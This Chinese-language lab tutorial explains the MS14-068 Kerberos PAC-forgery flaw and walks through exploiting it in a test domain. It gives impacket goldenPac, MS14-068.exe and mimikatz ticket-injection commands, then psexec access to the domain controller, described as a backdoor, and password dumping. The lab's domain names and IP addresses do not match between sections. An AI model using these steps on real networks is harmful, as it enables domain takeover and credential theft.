一、漏洞说明
改漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
微软官方解释: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
二、漏洞原理
Kerberos认证原理:https://www.cnblogs.com/huamingao/p/7267423.html
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。
三、漏洞利用前提
1.域控没有打MS14-068的补丁
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
四、实验环境
域控制器(DC) windows 2008 R2 st13.com 192.168.10.146
域内机器 windows 7 192.168.10.129
五、漏洞利用
使用impacket下的goldenPac
首先解决可能的asn报错
pip uninstall pyasn1
pip install pyasn1==0.4.5
漏洞利用
python3 goldenPac.py test.com/user1:Uu1234.@ad.test.com -dc-ip 192.168.1.129 -target-ip 192.168.1.129
1.首先在域控检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞,下图可以看到没有打MS14-068漏洞相关的补丁
systeminfo
2.在win7上面测试该漏洞,win7用普通域用户登录
测试访问域控的C盘共享,访问被拒绝
dir \win2008.xxx.com\c$
3.为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法使用mimikatz
kerberos::list
kerberos::purge
kerberos::list
4.使用whoami/all查看本机用户ID
\5. 利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书
MS14-068.exe -u @ -p -s -d
\6. 利用mimikatz.exe将证书写入,从而提升为域管理员
kerberos::ptc xxxx.ccache
dir \win2008.xxx.com\c$
接下来可以在域控上做任何操作了
psexec.exe \win2008.xxx.com cmd.exe
总结:
1、查看目标是否存在MS14-068漏洞
2、使用ms14-068.exe生成票据
3、mimikatz注入票据,获得域控权限
4、PSexec创建后门
如果有域管理员的进程,直接mimikatz抓密码